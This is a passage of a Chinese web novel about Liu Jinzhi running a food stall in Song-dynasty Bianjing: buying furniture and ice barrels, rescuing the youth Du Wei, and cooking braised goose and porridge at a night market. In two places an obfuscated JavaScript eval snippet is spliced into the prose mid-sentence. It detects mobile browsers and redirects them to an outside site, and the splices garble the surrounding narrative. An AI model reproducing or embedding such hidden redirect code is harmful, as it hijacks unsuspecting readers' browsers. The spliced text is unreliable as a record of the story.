最后挑挑拣拣,在一家铺子里头定下了五套,以高脚花腿桌和圆墩为配套的桌椅,先手交付定金,等桌椅送到了地方再总账。 但柳金枝其实还想要辆车。 “御街离新曹门那么远,若是每天早上都租赁一辆驴车赶过去,来不来得及不说,也太费银钱了。” “我听说团行里头有卖镂鍮装花盘架车的,也想买一辆,日后方便。” 所谓镂鍮装花盘架车,就是一种小型售货车。 宋朝卖零食的小贩为了吸引更多的食客来光顾生意,就会把食物装在镂刻着各类花纹,并用黄铜镶嵌的小型售货车上。 这样食客们打眼一看,就知道这家卖的是什么东西?色泽、品相如何? 当然,柳金枝当然不只是卖零嘴、杂嚼那么简单,她做饭炒菜离不开汤汤水水,还有炭盆火炉,每日来返极为不便。 她就想找到专门做镂鍮装花盘架车的铺子,再请店家帮她稍作改造。 将车内装上火炉、燎子,再开辟出一个地方给她挂砧板、菜刀,就像现代的流动商贩车一样。 不过虽然她想的很好,但能答应这种要求的店家很少。 毕竟她银钱有限,出不起高价手工费,而费心费力改造一辆镂鍮装花盘架车,对商家来说也颇为耽误生意。 所以转了好几圈都没有如愿。 “唉,找不到就算了。”柳金枝擦擦汗,放弃了,“等日后咱们赚钱了,再出个高价叫位师傅专门帮我做。” 柳霄问:“阿姐,大概要多少银子?” “工费、材料再加上浇手,怎么也得七八钱吧。” 七八钱? 柳霄抿了抿唇。 他觉得以柳金枝的俭省程度,哪怕以后赚钱了,估计也舍不得出这么多钱去买辆车。 于是他暗暗将这事记在心里。 “罢了,先拿驴车凑合着吧。”柳金枝解开茄袋数了一数银两,“再去买几只双层桶是要紧。” 柳霄问:“阿姐买桶做什么?” “为了做夏天的生意。” 一年春夏秋冬四季,每季的菜蔬各有不同。 春日万物复苏,正是采摘野菜,邻水斫鲙的好时候。夏日天色炎热,就要大口吃冰,喝些冰雪、凉浆、甘草汁……才爽快怡人。等到七月流火之时,饭桌上随处可见澄阳湖大闸蟹。 古代又没有温室大棚和冰箱和制冷机,饮食当然都是跟着季节走。 除却夏天。 古时夏天热死人,为了一解暑热,宋朝汴京出现了很多卖冷饮的铺子,就坐落在旧宋门和朱雀门外。 而冷饮从何来?就从冬日里的河冰来。 等到寒冬腊月,河水冰封的时候,请人工开凿干净的河冰背到家中,再将放入双层木桶当中保存。 这种大型双层木桶底下有基座,上面有圆盖子,两相接口处还包着白铜,把冰块往桶里一放,就是大咧咧的放在外头,也能保持两三天不化。 极其炎热之时,把这木桶在房间四角各放一个,其效果堪比现代空调。 一些大型酒楼,比如樊楼,财大气粗,就是如此做来方便招揽食客。 所以这就是哪怕樊楼菜色极为昂贵,也依旧能让众人趋之若鹜的原因。 但如果要保存的更久一些,就要把冰块连带着木桶一起放入冰窖之中保存。 因此在宋朝冰窖、冰井十分常见。 宫中有大型冰窖,冬日凿来的冰会在夏天时分给后妃们纳凉散热。 民间的则是小型冰窖,一般是商家开凿,用来存放冰块,好留到夏天卖钱。 好巧不巧,此前柳家父母在世时,为了储存方便,不仅在家中开凿了存放菜蔬的地窖,还开凿了一个小型冰窖。 这个冰窖不大,只有二十平方米左右,但对于柳金枝来说绝对够用了。 “之前是没钱买,我也没想着做这方面生意。现下有了钱,便一齐准备着吧。” 柳金枝笑眯眯的。 谁赚钱还嫌多呢? 柳霄看柳金枝财迷的样子,也笑开了,道:“阿姐,我在汴京待得久,认识一些凿河冰的好手。这事儿就让我去办吧。” “好。” 于是又花了两百来文,买了四只双层大桶,由柳霄做主,跑到河边请了位有些跛脚的中年汉子凿冰。 交付了五十文的押金后,天色也早黑透了。 不过这一天也算是功德圆满,该办的事都办好了,二人就回了家。 只是家中情况却比以往不同,门口挂着两个红纸大灯笼,门外大大小小停了许多辆驴车,车上驮着十来只书箱,又有桌椅板凳等,皆用手腕一般粗细的麻绳绑的结结实实,还有几个脚夫正在柳家旧宅门首进进出出,搬运各类物什。 柳金枝讶异,耳边倒传来应天爵高兴的声音:“嗨呀,柳妹子,你可算是回来了!” 应天爵三两步从门首里头走出来,对着柳金枝叉手一拜,又打量着她好端端的,无甚损伤,才松了口气道: “你半日不回,我可为你捏了好一把汗。如今见你无恙,那这场官司必然是你胜了,恭喜恭喜啊。” 柳金枝福身还礼,笑道:“也是多亏应大哥的帮忙,小妹答应你的,明日就送到门上去。” “嗐,那我可就不跟你客气了。” 能有银子拿,应天爵也是喜的眉开眼笑。 赶忙虚扶了柳金枝一把,又指着门口驴车邀功,道:“妹子你瞧,此前我答应你,尽快为轩哥儿寻处宅子搬出去。正巧昨日就寻到了,宅面干净,就在崇明外人街,不远就是国子监。” 这对柳金枝来说简直是个大好消息! 宅子空下来,不仅可以让柳霄和月牙住的更舒心,她也不用再忧心一次性买来太多的菜蔬,却不知该放何处的难题了。 忙不迭的道谢,笑道:“当真是应大哥费心了。” 应天爵倒摆摆手,道:“嗐,我也只是做些跑腿活计。轩哥儿有位同窗好友,家中甚是阔绰,听闻他要搬家,早把那些琐碎杂事一应全包了,我现下不过动动嘴皮子。” 柳金枝也才想起来,项志轩和他那位好友是预付了定金买朝食的,现下他们搬走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458090|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,定金该怎么算? 就想去找项志轩退银子。 正好此时项志轩与一位白净少年说说笑笑着从里头走出来。 少年眉眼虽稚嫩,却十分清俊,眼睫乌黑浓长,一双眼睛又圆又亮,项上戴着金螭璎珞,腰间系着长穗宫绦,只打眼一瞧,就知道必然是家里万千富贵宠出来的。 他一边走,一边道:“欸,等会儿我家中哥哥来接我去樊楼吃宵夜,你与我一同去吧。” “还有小半月才到立春,现下又无甚佳节,怎么忽得要去樊楼?” “嗐,你不知,今日我家中有喜事,哥哥说要不计银钱热闹一番,也好冲冲晦气。” 二人跨过门槛来。 项志轩正要说话,抬眼却望见柳金枝,不由眼前一亮,笑道:“柳娘子,你回来了,我正要去寻你呢。” 少年顺着项志轩的视线一同看过去,见柳金枝居然长得如此清丽动人,不由惊讶得瞪大了眼睛。 项志轩笑道:“这便是我先前与娘子提到的好友,名唤潘安玉。这怪行货子还与我说,怎得都不信能做出那等好吃膳食的,是位极其年轻的娘子。非要与我打赌,如今见到人了,我也算清白昭昭了。” 潘安玉些许脸红,不好意思叉手一拜,道:“我也爱做菜,但学了五六年,味道却连柳家姐姐的三成都比不少,因此着实想不到有这样功底的,又这样年轻。” 高门大户里养出来的富二代,兴趣爱好居然是做菜。 这叫柳金枝忍俊不禁。 项志轩道:“我与他已说好,定金不必收回,我们会每日派人去娘子的食摊上取朝食的。” 柳金枝也不愿把到手的银子再吐出去,这样正好,也就高兴应下,又对着潘安玉福身笑道:“奴谢过潘小哥了。” “不必谢。”潘安玉笑的十分稚气,挠着头说,“我还想着要拜柳家姐姐作师父呢!我哥常说只要高兴,多花点银子未尝不可。所以只要姐姐愿意收我当膳徒,我就是再给多少银子都使得!” 项志轩忍不住笑话道:“怪行货子,只花银子倒显得没诚意,你怎得不直接喊声师父?兴许柳娘子就收了你。” “当真可以吗?”潘安玉眼前一亮,连忙就要拜,“师父!” 吓得众人赶紧伸手去扶,见潘安玉一脸疑惑不解,却是憨傻的有些可爱,又忍不住笑作一团。 柳金枝笑道:“人家是个实心眼,我可不和你们一起闹人家。” 言罢,就拉着柳霄进了家门,应天爵和项志轩还是笼着潘安玉说话,你一声好哥哥,我一声好弟弟的赔罪。 不多时,有个眉眼俊朗锋利的青年,外披玄色大氅,骑着高头大马进了采莲胡同,身后还跟着三五仆从,颇大阵仗。 见了来人,应天爵与项志轩都是一凛,赶忙收了调笑神色,与青年叉手一拜。 青年也不下马,居高临下地对二人冷漠颔首,就算是见过礼了。 潘安玉则跑过去,甜声唤道:“大哥!” 青年这才有些和暖脸色,垂眸道:“整日里在外头疯跑着玩儿,净寻些偏僻地方给我找麻烦。” 说着挂起马鞭,不轻不重地敲了潘安玉两下,又转手拉他上马。 潘安玉本是要拉项志轩与自己一同,但见项志轩悄悄摇了摇头,就闭口不言,随着青年骑马走了。 但他还是惦记着要向柳金枝学做菜,就对青年道: “大哥,我上次与你说的,做膳食特别好吃的柳家姐姐就住在这儿。听说她在御街支了个食摊子,咱有空就去看看,怎样?” 潘琅寰目不斜视,冷声道:“春闱没过之前,你哪儿也不准去,就给我待在家里用心温书。” 潘安玉顿时如同霜打的茄子,委屈的要哭出来,抽噎着说: “我自小就不是读书的料,四书五经念了七八年了都没念明白。可你和母亲就是要逼我去念书!但我就是爱做菜!我不想当官,我想当膳工!” 潘琅寰皱眉,呵斥道:“闭嘴!我潘家的儿郎若去了膳房里头钻营,那像什么样子?!” 潘安玉委屈,道:“那又怎得啦?谁离得开膳工?便是大哥你遇见个好的膳工,照样是赞不绝口!我早上还听下人们说,你夸从御街买回来的那碗馄饨好吃,让他们今后接着给你买作朝食,还说一两的赏钱给少了,下次要多给些呢!” 潘琅寰哽了一下,没好气道:“读书不多,顶嘴倒快!旁的我不与你多说,我已请了蒋太医来与母亲瞧病,她现下好多了,等下你到了她跟前卖些乖。若还不三不四恼了母亲生气,我拿马鞭抽死你!” “呜呜呜,知道了。” 17. 招洗碗工 前一天定好的桌椅板凳,第二天午时就送到了御街摊位上。 柳金枝和柳霄把桌椅卸下来摆放齐整,月牙拿抹布仔细地擦了一遍,直把桌椅连同整个摊位擦的干干净净才罢手。 “好啦,月牙,这些事情以后就不用你做了。”柳金枝把月牙抱到一边,拆开油膏细心给她抹上,“小手冻坏了,以后每到冬天都会有冻疮的。” 月牙道:“可是阿姐和哥哥都很忙,我不做,谁洗碗呢?” “阿姐已经决定招工了。” 柳霄拿着一张红纸走过来,吹干净上面的墨渍,展给两个人看。 红纸上写的是“招洗碗工”,下头还有具体的要求。 比如不限男女,但要年满十五,手脚利落勤快。 但因为食摊刚起步,招工也是心疼月牙,所以出不起多高的薪资,一天只能给五十文,一个月就是一千五百文。 为了弥补这点不足,柳霄在征得柳金枝同意之后,又添了条“包吃包住”的条款。 然后一家三口用米浆刷在红纸后背,将之贴在了摊位旁边。 “希望今天能有人应征。”柳金枝清点着摊位上的菜蔬,“晚上就要做夜市了。” 月牙想了想,拉过柳霄道:“哥哥,你还记得杜哥哥吗?” 柳霄一点即通,低头说:“你想叫他来?” “嗯,只是不知道杜哥哥还住不住在老地方。”月牙小小声地说道。 “什么杜哥哥啊?” 柳金枝在送菜单上打了勾,走过来摸摸两个人的头。 “是一个人很好的哥哥,在我和哥哥吃不饱饭的时候,是他给了我们一个炊饼。” 月牙抱住柳金枝的小腿,仰着小脸道:“阿姐,我们去找杜哥哥好不好?” 柳金枝算了一下时间,反正现在还早,不着急做夜市,不如去看看。 一家三口便坐了驴车朝居养院去了。 宋朝时候,各种福利设施都比较完善。 就比如北宋时期,政府设有福田院,专门收容老弱孤幼乞丐,提供基本食宿。 不仅如此,宋徽宗时期还规定每年十月初一至次年三月,都对乞丐进行赈济,每人每日发放米豆一升,小儿减半。 另外还有居养院,为无依无靠的贫民提供长期住所。 安济坊则负责医疗救助,避免一些贫困百姓受伤之后无钱就医而白送性命。 柳霄和月牙所提到的那个杜哥哥,已经年过十五,在宋朝来说已不算是孩童,现下大概率住在居养院。 其实哪怕是现代的一些福利机构,在长期营业之下都会出现某些恶劣现象,更遑论是在缺少监管力度的古代。 所以哪怕宋徽宗提出建立居养院时是出于好心,柳金枝也不敢把居养院想的太好。 饶是如此,当柳金枝亲眼见到居养院的时候,还为这里头环境之恶劣而感到震惊。 这处居养院坐落在一条狭窄的小巷子里,巷外栽种着一颗枯萎的柳树,树下蹲着个瘦骨嶙峋的老人,面前架着个破旧药罐,哆哆嗦嗦地从怀里摸出半包药渣,小心翼翼倒进了药罐里。 再往里走,就是居养院的大门,门上挂着门匾。 因为门没有关,所以一眼可见院内情景。 里头搭着二三十根晾衣架,一群披头散发,衣着破败,面容枯槁的妇人正弯腰晾晒衣服。 廊下蜷缩着一个老人,大冷的天,却将手与脚都露在外面,皮肤冻得发黑,又不晓得收回去,只用一双浑浊的眼睛盯着雪地发呆。 管院子的嬷嬷走来走去,却熟视无睹。 柳金枝不由皱起了眉头,心里发酸,可她自己也是泥菩萨过河,救不了太多,只能从茄袋里翻出几十文交给柳霄,道: “去给那位阿爷买双合脚的鞋子,再买双干净袜子。” 柳霄面色复杂地应了下来。 月牙接着带柳金枝往深处走去。 拐过几个角,进了后院。 这里更是一派萧瑟凄凉,杂草丛生,遍地白雪。 只是柳金枝耳边传来几声喝骂,还有高昂的鹅叫,隐隐有些嘈杂。 待走近一瞧,才发现院子的最里头居然围着一群人。 一个胖男人手里拿着刀,怒骂道:“挨千刀的小贼孙,连爷爷我的鹅你也敢偷?!” 旁边站着个灰布衣服的嬷嬷,狠狠一藤条抽在一个清秀少年身上,冷声道:“你犯了偷窃,按照居养院里的规矩,从明天开始,你和那病歪歪的娘都从这儿搬走!” 跪在人群中心的少年本是挨打挨骂都不做声,可一听见这话,却倏然一下把抬起头来,两眼发红:“我娘不能搬!她病的快要死了,再挪动两下,人就没了!” “谁让你偷东西?!” “我也不想偷!”少年情绪激动,却又悲伤至极,“可我没钱,我娘又快死了,她就想吃口糟鹅……就一口……” 可话没说完,就挨了男人一个重重的耳刮子。 “呸!你娘想吃什么干老子屁事?她就是死了,也是活该命贱!我只跟你算算鹅的账!” 男人指着笼子里的鹅说:“我家的鹅,那毛是长得最好的。油光水滑,可以当褙子。但你瞧瞧,毛都快被你拔禿咯!你再怎么都得原价赔我四钱银子!” 四钱! 柳金枝霎时间瞪大了眼睛。 那就是四百文! 一只鹅,四百文? 这分明就是在欺负人! 可是男人就是仗着少年无依无靠,一巴掌揪起他的衣领,道:“你要是不赔,今天就跟我走。不拘我是把你卖进高门大院,还是瓦子乐场,都不许有半句屁话!” 清秀少年涕泗横流,拳打脚踢想要挣脱,却还是被这男人拖走了。 柳金枝几步上前把两人拦住,眉心拧成了个大疙瘩,道:“站住!他娘还在屋里头,你现在把人拖走,岂不是连最后一面也不让人见?” 男人轻蔑地瞥了柳金枝一眼,嗤笑道:“哪儿来的雌儿?也来管爷爷的闲事。你想要发慈悲,就拿四钱来把这鹅买下,否则就滚蛋!” 柳金枝见这人打定主意要坑银子,心中不由腾起一片怒意。 她也只有四千贯,也就是四千文,定桌椅,买菜蔬等等已经用了不少,否则她也不会因为一辆七八钱的镂鍮装花盘架车,就肉疼的选择放弃不买。 但那是车,以后还有的买。 这是人,这回不出手,可就没有下一次了。 柳金枝心中天人交战,最后还是同情心占了上风。 她从茄袋里翻出四钱银子抬手扔过去,眉眼冷肃,道:“我替他给了,你把人放了!” 男人倒是没想到柳金枝居然舍得,看看少年,又看看钱,也就放了手,拍拍身上灰尘大摇大摆走了。 清秀少年泪流满面,膝行过来给柳金枝磕头,却被柳霄扶了起来。 柳霄语气复杂,道:“杜哥哥,是我啊,我是霄哥儿,这是我阿姐。” 原来这清秀少年就是他们要找的人,姓杜,唤作杜卫。 杜卫哭道:“好兄弟,哥哥在这里谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461912|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过你,这四钱银子我定然还给你阿姐。” 柳金枝叹了口气,把鹅笼提起来交给他,道:“去看看你母亲吧。” 杜卫用袖子抹干净眼泪,又给了柳金枝嗑了好几个响头,才站起来接过鹅笼往房里走。 望着杜卫的背影,柳霄抿了抿唇,面色复杂道:“阿姐,这银子……” “罢了。”柳金枝知道这银子杜卫肯定还不起,摆了摆手,“好歹当年你和月牙落难的时候,他曾给过你们一个炊饼,现在就当是报恩。” 柳霄道:“报恩也当是我来报,这钱我会还给阿姐的。” 月牙在旁边看了一场,也很为杜卫感到酸楚,便也道:“我也会还给阿姐的。” 柳金枝摸摸他俩柔软的发丝,打算拉着二人回家,可房内忽然响起碗被砸碎的声音,紧接着就是扑通一声,杜卫悲痛欲绝的哭声响彻整座居养院: “娘——!” 一家三口冲进去一看。 鹅还在笼子里活蹦乱跳地扑腾,床榻上的干瘦蜡黄的妇人却已经仰面阖眼,彻底失去了气息。 月牙啊的叫了一声,忍不住回头抱着柳金枝,不敢看床上的死人。 柳金枝也没想到最后居然是这么个结局,她怔愣了一下,不由得心中悲恸。 “霄哥儿,去请两个火计来。”她蹲下来捂住月牙的眼睛,将人轻轻搂进怀里,“先帮忙把杜伯母拉到漏泽园葬了。” 时也命也,这最后一口糟鹅,她到底没能吃上。 火化、念经、下葬,穷人家有穷人家的死法。 不过两个时辰,妇人就成了漏泽园里的一座孤坟。 杜卫跪在坟前,黄纸灰烬被夜里寒风卷起来,迸溅出的火星照亮他恍惚的面色,泪痕干枯,唇色苍白。 他声音沙哑地说:“柳姐姐,好兄弟,月牙妹妹,多谢你们好心。这鹅你们拿回去吧,我娘已经死了,这鹅没用了……” 柳金枝望着他,眸色复杂。 若她当初迟一些回汴京,又或者没能力带弟妹一起开食摊。 现在如此凄惨的,可能就是柳霄和月牙了。 “斯人已逝,但活人还要好好的活。” 柳金枝说到此处,抿了抿唇。 说她不自量力也好,说她圣母心大发作也好。 她无法对这般惨象视而不见。 “其实我们今天来找你,就是想问你要不要来我家食摊帮忙。给你酬金一日四十文,包吃包住。” 柳金枝在原有的酬金基础上提了十文。 这是她能给出来的极限。 杜卫没说话。 月牙道:“杜哥哥,当年我和哥哥被舅舅扫地出门。大雪天里,饿的实在走不动了,缩在路边等死。是你把身上最后一个炊饼给了我们,我们才能活到现在。你跟我们走吧,给我们一个报答你的机会。” 可是杜卫还是跪在哪儿,背影瘦削又萧瑟。 柳金枝拉拉月牙的手,道:“好了,让杜哥哥一个人想一想吧。”又说,“如果你改变主意,就到御街太常寺对面的柳氏食摊找我们,我们随时欢迎。” 尔后左右牵起月牙和柳霄转身离开了。 汴京城的繁华不因任何一人的悲欢离合、喜怒哀乐而停止。 夜幕降临,华灯初上。 汴京城热闹的夜市生活照旧开始了,她也要去继续自己的生意。 也许现在多努力一点,多攒一些傍身之物,将来在这繁华大城之中经历悲痛与伤悲的,就不会是她,或是她的霄哥儿和月牙。 18. 卤狮头鹅 汴京城的夜晚最是繁华。 御街附近酒楼林立,笙歌不绝,中有御河游船穿行于亭台楼阁间,月夜泛舟可见“水光楼影,碧水绵延”之景。 浚仪桥下汴水奔流、桥上人流如织。 怪不得《东京梦华录》曾赞叹“两岸夹歌楼,明月光相射”。 而柳金枝到时,御街两旁的铺子也都灯照通明。店小二在门口揽客,食客进进出出好不热闹。 柳金枝也在摊位前挂上了一盏栀子灯。 这灯狭长形,上宽下窄,中有六棱,状如栀子果。 这就是告诉大家,柳氏食摊正在营业,欢迎光临。 “柳娘子,你怎么现在才来?”旁边有位胖婶子趁着现在没生意,扭过头来搭讪,“这夜市的生意都开始好一会儿了。” 柳金枝一边让柳霄和月牙把炉子生起火,一边笑道:“去买了点东西,怎么?大娘是有事要寻我?” “嗐,我哪儿有什么事儿。就是有,我也该找邻家几个男人帮忙。”胖婶子笑容温暖,“我就是想提醒你,除了咱们平头百姓逛夜市,还有不少达官贵人,说话做事得注意些,要是惹上那些个心眼子小的就麻烦了。” 都说远亲近邻。 有时候一个心善的邻居倒比在远方的亲戚,更能与你互相扶持。 柳金枝笑道:“多谢婶子的提醒,奴记得了。” “不用谢,大家做点小生意都不容易,更何况你还一个人带着两个弟妹,我们能照顾一点就是一点。” 胖婶子大方地摆摆手。 结果余光瞥见有两位年轻娘子正路过她的食摊,便赶忙转过头去,大声吆喝: “焦碱水锥最是酥脆爽口,二位娘子来一个,绝对好吃不亏!” 焦碱水锥就是油炸糯米团子。 在宋朝,这类小吃一般配着糖蜜,蘸着吃,外脆里糯,口感很好。 果然,两个小娘子听到是这个小食,驻足挑拣了片刻,笑嘻嘻地要了六个装起来。 胖婶子就这么赚得了二十几文。 旁边的清瘦男人也不甘示弱,大声吆喝起他的杂嚼:“嘿!走过路过不要错过!好吃脆口的杂嚼!有旋炒栗子!金橘团!蜜麻酥!糖豌豆……” 男人恨不得一口气报出十来种杂嚼来。 果然也吸引了一些年轻爱吃的小娘子过去购买。 月牙看的心头火热,摩拳擦掌道:“阿姐,咱们卖什么?我去替你吆喝!” 柳金枝想了想,最后将目光看向因为杜卫而买回来的那只鹅。 “花了四钱银子买回来的鹅,不好好做一顿就可惜了。”柳金枝把鹅提起来,“今天做卤狮头鹅。” 月牙点头,跳到食摊外头,深吸一口气,大声吆喝道:“卖卤狮头鹅咯!卖卤狮头鹅!卤味好吃又多汁!” 瞧月牙这么干劲十足,柳霄也掏出了自己的算盘,噼里啪啦的盘了一顿之后,道:“这鹅约莫六斤重,除却羽毛、内脏……咱们每份卤味得定在三十五文左右才能回本。阿姐,会不会有些贵了?” 柳金枝笑道:“若做的不好吃就是贵了,若做的好吃,那就是物超所值。” 这夜市上不是常有达官贵人们行走吗? 宋朝的吃货们,可是很乐意为吃的付银子的。 起锅!烧水!拔毛! 一只略肥的狮头鹅在柳金枝手中很快就被清理得当。 再里里外外清洗过一遍之后,挂起来沥干水分备用。 卤味最要紧的就是卤料。 卤料得当,才能把肉菜卤的飘香十里。 于是柳金枝备下新鲜小葱两根、十颗红葱头、十瓣大蒜、两块南姜、一把香菜头,以及冰糖、桂皮、八角、丁香、草果、白豆蔻等物,将之分门别类摆在一边。 第一步,先将香葱洗干净去头切段,再挑出四瓣红葱头、四瓣大蒜去皮切开。 清香的小葱味和浓厚的蒜味儿,就从菜刀的一起一落清脆的咔嚓声中飘了出来。 柳金枝很喜欢这样清新的味道,深吸了一口,心情颇为愉悦。 就笑着起锅倒入菜籽油,将葱段、红葱头和大蒜通通赶进去,大火烹煮熬炸成葱油。 葱油最大的优点就是给食物提香,胜过一般的食用油。 第二步则是取一块干净纱布,然后把之前备下的各类卤料,各取出五十克到五克不等的分量,一齐塞入纱布之中,再用细白绳拴紧系牢。 锅要用大卤锅。 好在之前柳金枝去购入锅碗瓢盆的时候,将各类她有可能用到的锅都买了一遍,一齐拉到了摊位上。 于是挑拣出来一只大炉锅架在红泥火炉之上,加入葱油、卤料,以及十勺生抽、两勺老抽和一小袋老卤水。 旁边洗干净了的狮头鹅此时也晾的差不多了,也取下来放进锅里,再倒入成桶的清水,直至漫过狮头鹅的头顶,就可以扣上锅盖,着力大火烧开。 这些杂活儿不用柳金枝做,柳霄主动抱着一捆柴蹲在灶眼口,手上利落干脆地往里塞柴火棍。 柳金枝嘱咐他:“大火烧开之后再转小火慢慢煨卤,不要一直用大火,这样会不入味儿。” 柳霄道:“阿姐放心吧。” 然后更用心地盯着灶内火光。 柳金枝点点头,尔后转过头去调制蘸料。 不论是古是今,蒜泥都是各种蘸料里的灵魂。 在现代吃海底捞或者火锅的时候,柳金枝取小料时一定会多加蒜泥提香,要是再拌上香菜和满满一勺陈醋,那将会是绝杀! 所以柳金枝按照自己的口味来,先将蒜片放入石臼里头细细捣碎,直捣了一大碗。再用小勺子盛出两勺来放入小料碗中,淋上陈醋调味。 以此来配卤狮头鹅吃,风味更佳。 而灶眼口火蛇四起,直烧的大卤锅下半部分鲜红,里头沸水滚动,热蒸汽顶的锅盖来回碰撞,叮当作响。 柳金枝干脆走过去掀开锅盖,刹那间,喷香诱人的卤味散的到处都是。 不少食客闻着这香,就顺着月牙的吆喝声围拢了过来。 “柳娘子,这卤味怎么卖呀?”有个食客没忍住香,问价道。 柳金枝眉眼带笑,温温柔柔地说:“一份三十五文。” 三十五文?! 有这钱,他们不知可以在夜市上再买多少杂嚼了。 当下有些人觉得贵,就想退出去。 没想到柳金枝拿了铁钩子,穿过狮头鹅的脖颈将鹅提起来,又另取了一柄长柄圆头大铁勺过来,从大卤锅里舀了勺麻辣鲜红的卤汁,不缓不急地浇在狮头鹅身上。 鲜亮发红的卤汁在鹅身淋漓尽致地流过,蒸腾的热气将卤香更是扑的到处都是,像海浪一般一阵阵冲扑过来,又把那些想走的食客给活生生勾住了。 大家就这么瞧着柳金枝一勺接着一勺地舀起卤汁淋在鹅身上,把鹅的外表皮肉卤的颜色漂亮又均匀。 不差钱的食客此时已经按捺不住,从腰间茄袋里解出三十五文拍在桌上,道:“我来一份!” 柳霄赶忙把铜子收起来,笑道:“您请这边排队,卤好了第一个给您。” 有一就有二,有二就有三…… 少部分食客慷慨解囊,把钱给了柳霄,站在一边排队。 然而大多数食客还在观望,但又被这香味儿勾住,一时舍不得走,也就站在原地看柳金枝浇卤。 这卤狮头鹅要不了多长时间,半个时辰即可。 先前柳金枝放卤之时就已经过了两刻钟,浇卤又浇了一刻钟,最后再将狮头鹅按进卤汁里头小火慢慢炖煨入味儿。 又一刻之后,就是开锅取肉之时。 众人的眼睛都盯着那口大卤锅。 柳金枝眼疾手快地揭开,拉住钩子,将狮头鹅直直地提起来。 哗啦一声,卤汁荡漾。 紧接着啪! 卤狮头鹅浑身冒着热辣辣的香气,倒在木质砧板上,身上的鲜红卤汁还在不断地顺着外皮往下流。 柳金枝操起菜刀,干脆利落地剁下双翅、双腿,再中间切刀,把肉脯,鹅屁股全部切 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“没了,没了,是真的没了……” …… 就一只六斤的鹅,根本供不了这么多人吃。 所以哪怕后头还有不少人拿着钱挤过来,柳金枝都只能遗憾又肉疼地摇摇头。 月牙摸了摸抽屉里的铜子,就像做梦一样,道:“我的天爷啊,阿姐,原来做夜市真的这么赚钱!我们下次还卖卤味吧!” 柳霄也是双眼发亮,但他还是先掏出算盘来算了一下,道:“如果大家每次都愿意出三十五文的话,确实比我们卖其他东西赚多了。” “好,那我们明天就去再买几只鹅回来!”柳金枝笑道。 一家三口兴奋不已。 这时,却有一位衣着颇为华丽的少女,步伐款款地走过来。 目光挑剔地将食摊上下一打量,道:“你们这儿是新开的摊子?” 见对方衣着神情,便知道怕是哪家富贵人家里出来的。 柳金枝收敛神色,温和有礼道:“回禀这位娘子,我们这食摊昨日才开呢。” “昨日才开?”少女有几分惊讶,“那方才摊上围着这么些人,都是在买什么?” “卤狮头鹅。”柳金枝笑容谦和,“但现下已经卖光了,娘子若想要,可以明日再来。” 少女想了一想,蹙眉道:“不行,我等不到明日,今日就要。” “这……”柳金枝为难。 “若是没有你说的狮头鹅,那就拣别的拿手好菜做来。”少女从袖子里摸出一只精致茄袋,抬手扔给柳金枝一钱银子,“不拘卖多少,这一钱银子总是够了。三刻钟之后,我再来取。” 说完竟也不给柳金枝反应的机会,转身就走了。 柳金枝讶然,倒不知世上还有这般强买强卖的道理。 好在旁边的胖婶子在这片待的久,替柳金枝解释道: “柳家娘子,那个丫头可不是好惹的,她是城北钦天监司正的家人!” “那司正家的大姐不思饮食好久了,所以这个丫头每天晚上就来夜市逛,遇到什么好吃的就带回去给她大姐吃。” “但她将咱夜市上的东西买了个遍,愣是没一个合心意的。” “所以到了第二日这丫头来转过来骂咱们,骂完了又买。” “哎哟,整个夜市的摊主没一个不怕的!” 竟然这般泼辣? 柳金枝皱起眉头。 月牙听着害怕,道:“阿姐,这份银子还是别挣了,万一她隔天来闹咱们怎么办?” 但是这可是一钱银子! 柳金枝放不下。 思索片刻后,还是决定道:“挨骂就挨骂,这可是银子!” 跟谁过不去,都不能跟钱过不去。 挣钱嘛,不寒碜! 19. 老菜脯砂锅粥 但是做个什么菜,柳金枝还是没想好。 “婶子。”柳金枝笑眯眯的问胖婶子,“那位司正家的大姐就没一个爱吃的?” “那我倒是没听说。”胖婶子摇摇头。 “那这位大姐平日里都在夜市上买什么?”柳金枝又问 “还能买什么?各类杂嚼、焦碱水锥、滴酥鲍螺……咱吃不到的富贵吃食都买过。”胖婶子揣着手,叹息地摇头,“但她就是吃的不爽快,我瞧啊,那不是吃不下,那是吃得太饱!饿她一两顿,就是糙米炊饼她也吃。” 这话说的柳金枝眼前一亮。 这世上除了穷病,还有一种富贵病。 各种大鱼大肉养的太好了,反而叫人吃腻歪了倒胃口。 不如给这位小姐上一点清粥小菜,说不定能起到不一样的效果。 于是跟胖婶子道过谢后,柳金枝将这丫头给的一钱银子分出一半交给柳霄,低声耳语道:“去找个海货铺子,挑些上乘的虾干、鱿鱼干回来,不需太多。” 柳霄点头,转身走了。 又给了月牙剩下的一半,道:“你也去找个干货铺子,买一根晒的最漂亮的老菜脯回来。” 月牙认真点头,揣着钱快快地跑了。 柳金枝这回要做的是“老菜脯砂锅粥。” 所谓老菜脯,其实就是晒干了的萝卜干。 晒的越漂亮,时间越久,就越香,越有嚼劲。 一般的地方会把这些萝卜干晒好了,留到冬天调入豆瓣酱,小磨香油等等拌着吃。 而还有的地方则是会用这种老菜脯熬粥,里头的盐分和萝卜的劲道香味,就会在熬制的过程中慢慢渗透进粥里。再加上各类干货海鲜,最后熬出来的粥说不上有多漂亮华丽,但口感一定极滑嫩鲜香。 所以等到柳霄和月牙分别把东西带回来之后,柳金枝就开始煲粥了。 